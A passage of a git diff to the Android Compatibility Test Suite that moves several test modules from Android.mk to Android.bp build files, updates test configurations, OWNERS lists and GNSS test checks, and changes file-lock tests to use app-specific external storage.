-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreFileIOTestCases
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index 074a833..87e31c1 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Legacy Libcore test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreFileIOTestCases.apk" />
@@ -24,4 +26,8 @@
         <option name="package" value="android.libcorefileio.cts" />
         <option name="runtime-hint" value="14m" />
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/tests/libcorefileio/OWNERS b/tests/tests/libcorefileio/OWNERS
new file mode 100644
index 0000000..c10ca24
--- /dev/null
+++ b/tests/tests/libcorefileio/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include ../../libcore/OWNERS
diff --git a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
index 2920654..9a3a341 100644
--- a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
+++ b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
@@ -20,6 +20,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
+import android.os.Debug;
 import android.os.Environment;
 import android.test.AndroidTestCase;
 
@@ -432,11 +433,11 @@
         // Try to acquire the local lock in all cases and check whether it could be acquired or
         // not as expected.
         if (expectToGetLock) {
-            FileLock fileLock = acquire(localLockType, localChannelType);
+            FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
             assertNotNull(fileLock);
             assertTrue(fileLock.isValid());
         } else {
-            assertNull(acquire(localLockType, localChannelType));
+            assertNull(acquire(getContext(), localLockType, localChannelType));
         }
         // Release the remote lock.
         stopService();
@@ -482,7 +483,7 @@
         long localLockNotObtainedTime = System.currentTimeMillis();
 
         // Acquire the lock locally.
-        FileLock fileLock = acquire(localLockType, localChannelType);
+        FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
         long localLockObtainedTime = System.currentTimeMillis();
 
         // Wait until the remote lock has definitely been released.
@@ -538,7 +539,7 @@
             assertTrue(IntentReceiver.onStopLatch.await(MAX_WAIT_TIME, SECONDS));
         }
 
-        deleteDir();
+        deleteDir(getContext());
     }
 
     static enum LockType {
@@ -614,9 +615,9 @@
      * @throws UnsupportedOperationException
      *         If the {@code lockType} is of non recognized type.
      */
-    static FileLock acquire(LockType lockType, ChannelType channelType) throws
+    static FileLock acquire(Context context, LockType lockType, ChannelType channelType) throws
             IOException, InterruptedException, ExecutionException {
-        File file = createFileInDir();
+        File file = createFileInDir(context);
         file.createNewFile();
 
         FileChannel fc = null;
@@ -699,8 +700,8 @@
      * Creates a file named {@link #FILE_NAME} inside a directory named {@link #DIR_NAME} on
      * the external storage directory.
      */
-    static File createFileInDir() throws IOException {
-        File dir = new File(Environment.getExternalStorageDirectory(), DIR_NAME);
+    static File createFileInDir(Context context) throws IOException {
+        File dir = new File(context.getExternalFilesDir(null), DIR_NAME);
         if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
             throw new IOException("External storage is not mounted");
         } else if (!dir.mkdirs() && !dir.isDirectory()) {
@@ -714,8 +715,8 @@
      * Deletes the folder {@link #DIR_NAME} on the external storage directory along with all the
      * files inside it.
      */
-    static void deleteDir() {
-        File dir = new File(Environment.getExternalStorageDirectory(), DIR_NAME);
+    static void deleteDir(Context context) {
+        File dir = new File(context.getExternalFilesDir(null), DIR_NAME);
         if (dir.isDirectory()) {
             String[] children = dir.list();
             for (String child : children) {
diff --git a/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java b/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
index 078facf..0df8846 100644
--- a/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
+++ b/tests/tests/libcorefileio/src/android/cts/LockHoldingService.java
@@ -126,7 +126,7 @@
         ChannelType channelType = (ChannelType) intent.getSerializableExtra(CHANNEL_TYPE_KEY);
 
         // Acquire the lock based on the information contained in the intent received.
-        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType, channelType);
+        this.fileLock = FileChannelInterProcessLockTest.acquire(this, lockType, channelType);
         Intent responseIntent = new Intent()
                 .setPackage("android.libcorefileio.cts")
                 .putExtra(NOTIFICATION_KEY, NOTIFICATION_LOCK_HELD)
@@ -145,7 +145,7 @@
         // Acquire the lock.
         LockType lockType = (LockType) intent.getSerializableExtra(LOCK_TYPE_KEY);
         ChannelType channelType = (ChannelType) intent.getSerializableExtra(CHANNEL_TYPE_KEY);
-        this.fileLock = FileChannelInterProcessLockTest.acquire(lockType, channelType);
+        this.fileLock = FileChannelInterProcessLockTest.acquire(this, lockType, channelType);
 
         // Signal the lock is now held.
         Intent heldIntent = new Intent()
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
new file mode 100644
index 0000000..e28a800
--- /dev/null
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreLegacy22TestCases",
+    defaults: ["cts_defaults"],
+    static_libs: ["ctstestrunner-axt"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "22",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/libcorelegacy22/Android.mk b/tests/tests/libcorelegacy22/Android.mk
deleted file mode 100644
index 0295b89..0000000
--- a/tests/tests/libcorelegacy22/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreLegacy22TestCases
-
-LOCAL_SDK_VERSION := 22
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/AndroidTest.xml b/tests/tests/libcorelegacy22/AndroidTest.xml
index d5409d7..f496e9e 100644
--- a/tests/tests/libcorelegacy22/AndroidTest.xml
+++ b/tests/tests/libcorelegacy22/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Legacy Libcore test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreLegacy22TestCases.apk" />
@@ -24,4 +26,8 @@
         <option name="package" value="android.libcorelegacy22.cts" />
         <option name="runtime-hint" value="8m" />
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
 </configuration>
diff --git a/tests/tests/libcorelegacy22/OWNERS b/tests/tests/libcorelegacy22/OWNERS
new file mode 100644
index 0000000..c10ca24
--- /dev/null
+++ b/tests/tests/libcorelegacy22/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include ../../libcore/OWNERS
diff --git a/tests/tests/location/Android.bp b/tests/tests/location/Android.bp
new file mode 100644
index 0000000..9d9e6c0
--- /dev/null
+++ b/tests/tests/location/Android.bp
@@ -0,0 +1,66 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Reusable Location test classes and helpers
+
+java_test_helper_library {
+    name: "cts-location-tests",
+    libs: [
+        "telephony-common",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "apache-commons-math",
+        "platform-test-annotations",
+    ],
+    srcs: [
+        "src/android/location/cts/**/*.java",
+        "protos/**/*.proto",
+    ],
+    proto: {
+        type: "nano",
+    },
+}
+
+// CtsLocationTestCases package
+android_test {
+    name: "CtsLocationTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    libs: [
+        "telephony-common",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "apache-commons-math",
+    ],
+    proto: {
+        type: "nano",
+    },
+    srcs: [
+        "src/**/*.java",
+        "protos/**/*.proto",
+    ],
+    platform_apis: true,
+    dxflags: ["--multi-dex"],
+}
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
deleted file mode 100644
index 6d88a4d..0000000
--- a/tests/tests/location/Android.mk
+++ /dev/null
@@ -1,68 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Reusable Location test classes and helpers
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-location-tests
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt ctstestrunner-axt apache-commons-math platform-test-annotations
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src/android/location/cts) \
-   $(call all-proto-files-under, protos)
-
-LOCAL_PROTOC_OPTIMIZE_TYPE := nano
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-# CtsLocationTestCases package
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt  apache-commons-math
-
-LOCAL_PROTOC_OPTIMIZE_TYPE := nano
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-   $(call all-proto-files-under, protos)
-
-LOCAL_PACKAGE_NAME := CtsLocationTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_JACK_FLAGS := --multi-dex native
-LOCAL_DX_FLAGS := --multi-dex
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
index 8e2c3f8..216989f 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
@@ -20,8 +20,6 @@
 import android.location.GnssMeasurementsEvent;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -78,7 +76,6 @@
      * It only performs sanity checks for the measurements received.
      * This tests uses actual data retrieved from GPS HAL.
      */
-    @CddTest(requirement="7.3.3/C-3-2,C-3-3")
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
         // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index 07aa083..1f7ffa4 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -3,8 +3,6 @@
 import android.location.GnssStatus;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 public class GnssStatusTest extends GnssTestCase  {
 
     private static final String TAG = "GnssStatusTest";
@@ -58,7 +56,6 @@
   /**
    * Tests values of {@link GnssStatus}.
    */
-  @CddTest(requirement="7.3.3/C-1-4")
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not,
     // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssTestCase.java b/tests/tests/location/src/android/location/cts/GnssTestCase.java
index 5d78795..a128c95 100644
--- a/tests/tests/location/src/android/location/cts/GnssTestCase.java
+++ b/tests/tests/location/src/android/location/cts/GnssTestCase.java
@@ -15,7 +15,10 @@
  */
 package android.location.cts;
 
+import android.os.Build;
+import android.os.SystemProperties;
 import android.test.AndroidTestCase;
+import android.util.Log;
 
 /**
  * Base Test Case class for all Gnss Tests.
@@ -33,6 +36,11 @@
 
     // On devices using newer hardware, GNSS measurement support is required.
     protected boolean isMeasurementTestStrict() {
+        // Enforce strict measurement test on devices with first API level at least P.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
+            return true;
+        }
+
         return (mTestLocationManager.getLocationManager().getGnssYearOfHardware() >=
                 MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED);
     }
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 437eb21..26aedf8 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -56,7 +56,6 @@
 
     private static final int YEAR_2016 = 2016;
     private static final int YEAR_2017 = 2017;
-    private static final int YEAR_2018 = 2018;
 
     private enum GnssBand {
         GNSS_L1,
@@ -817,8 +816,8 @@
     public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
         TestLocationManager testLocationManager,
         boolean hasCarrierFrequency, float carrierFrequencyHz) {
-        // Enforcing CarrierFrequencyHz check only for year 2018+
-        if (testLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2018) {
+        // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
             softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
                     hasCarrierFrequency);
         }
diff --git a/tests/tests/location2/Android.bp b/tests/tests/location2/Android.bp
new file mode 100644
index 0000000..5cc43b1
--- /dev/null
+++ b/tests/tests/location2/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLocation2TestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "junit",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    // uncomment when Location.EXTRA_NO_GPS_LOCATION is removed
+    // sdk_version: "current",
+    platform_apis: true,
+}
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
deleted file mode 100644
index 3d22bb7..0000000
--- a/tests/tests/location2/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt junit
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsLocation2TestCases
-
-# uncomment when Location.EXTRA_NO_GPS_LOCATION is removed
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 6a14f54..f2be353 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -1,19 +1,80 @@
-android_library_import {
-    name: "cts.media.heifwriter_heifwriter-nodeps",
-    aars: ["androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01.aar"],
-    sdk_version: "current",
-    static_libs: [
-        "androidx.annotation_annotation",
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "ctsmediautil",
+    srcs: [
+        "src/android/media/cts/CodecImage.java",
+        "src/android/media/cts/YUVImage.java",
+        "src/android/media/cts/CodecUtils.java",
     ],
+    sdk_version: "current",
 }
 
-android_library {
-    name: "cts.media.heifwriter_heifwriter",
-    sdk_version: "current",
-    manifest: "androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml",
+android_test {
+    name: "CtsMediaTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
     static_libs: [
-        "cts.media.heifwriter_heifwriter-nodeps",
-        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctsmediautil",
+        "ctstestrunner-axt",
+        "hamcrest-library",
+        "ctstestserver",
+        "junit",
+        "ndkaudio",
+        "testng",
+        "truth-prebuilt",
+        "mockito-target-minus-junit4",
+        "androidx.heifwriter_heifwriter",
+        "androidx.media_media",
     ],
-    java_version: "1.7",
+    jni_libs: [
+        "libaudio_jni",
+        "libc++",
+        "libctscodecutils_jni",
+        "libctsimagereader_jni",
+        "libctsmediadrm_jni",
+        "libctsmediacodec_jni",
+        "libnativehelper_compat_libc++",
+        "libndkaudioLib",
+    ],
+    // do not compress VP9 video files
+    aaptflags: [
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+    ],
+    srcs: ["src/**/*.java"],
+    // This test uses private APIs
+    //sdk_version: "current",
+    platform_apis: true,
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+        "mts",
+    ],
+    host_required: ["cts-dynamic-config"],
 }
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
deleted file mode 100644
index 4d2dd1b..0000000
--- a/tests/tests/media/Android.mk
+++ /dev/null
@@ -1,94 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-  src/android/media/cts/CodecImage.java \
-  src/android/media/cts/YUVImage.java \
-  src/android/media/cts/CodecUtils.java
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctsmediautil
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctsmediautil \
-    ctstestrunner-axt hamcrest-library \
-    ctstestserver \
-    junit \
-    ndkaudio \
-    testng \
-    truth-prebuilt \
-    mockito-target-minus-junit4 \
-    cts.media.heifwriter_heifwriter \
-    androidx.media_media \
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libaudio_jni \
-    libc++ \
-    libctscodecutils_jni \
-    libctsimagereader_jni \
-    libctsmediadrm_jni \
-    libctsmediacodec_jni \
-    libnativehelper_compat_libc++ \
-    libndkaudioLib
-
-# do not compress VP9 video files
-LOCAL_AAPT_FLAGS := -0 .vp9
-LOCAL_AAPT_FLAGS += -0 .ts
-LOCAL_AAPT_FLAGS += -0 .heic
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsMediaTestCases
-
-# This test uses private APIs
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_JAVA_LIBRARIES += \
-    org.apache.http.legacy \
-    android.test.base.stubs \
-    android.test.runner.stubs
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 8a26eea..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -30,7 +30,6 @@
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
     <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
     <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <application android:networkSecurityConfig="@xml/network_security_config">
         <uses-library android:name="android.test.runner" />
@@ -101,6 +100,20 @@
                 <action android:name="android.media.browse.MediaBrowserService" />
             </intent-filter>
         </service>
+        <!-- Keep the test services synced together with the TestUtils.java -->
+        <service android:name="android.media.cts.MockMediaSessionService2">
+            <intent-filter>
+                <action android:name="android.media.MediaSessionService2" />
+            </intent-filter>
+            <meta-data android:name="android.media.session" android:value="TestSession" />
+        </service>
+        <!-- Keep the test services synced together with the MockMediaLibraryService -->
+        <service android:name="android.media.cts.MockMediaLibraryService2">
+            <intent-filter>
+                <action android:name="android.media.MediaLibraryService2" />
+            </intent-filter>
+            <meta-data android:name="android.media.session" android:value="TestLibrary" />
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index 6e5e4d3..c8e2e78 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -16,6 +16,12 @@
 <configuration description="Config for CTS Media test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="cts" />
+        <option name="dynamic-config-name" value="cts-dynamic-config" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="images-only" value="true" />
     </target_preparer>
@@ -37,5 +43,7 @@
         <option name="runtime-hint" value="4h" />
         <option name="exclude-annotation" value="org.junit.Ignore" />
         <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index 62fdd0b..0a2f19c 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -1,8 +1,15 @@
-rachad@google.com
+chz@google.com
+dwkang@google.com
 elaurent@google.com
+etalvala@google.com
+gkasten@google.com
+hdmoon@google.com
+hunga@google.com
+insun@google.com
+jaewan@google.com
+jmtrivi@google.com
+jsharkey@android.com
 lajos@google.com
 marcone@google.com
 sungsoo@google.com
-jaewan@google.com
 wjia@google.com
-jtinker@google.com
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
deleted file mode 100644
index 186bbb1a..0000000
--- a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/AndroidManifest.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="androidx.heifwriter" >
-
-    <uses-sdk android:minSdkVersion="28" />
-
-</manifest>
\ No newline at end of file
diff --git a/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar b/tests/tests/media/androidx/heifwriter/1.1.0-alpha01/heifwriter-1.1.0-alpha01-sources.jar
deleted file mode 100644
index ba23153..0000000
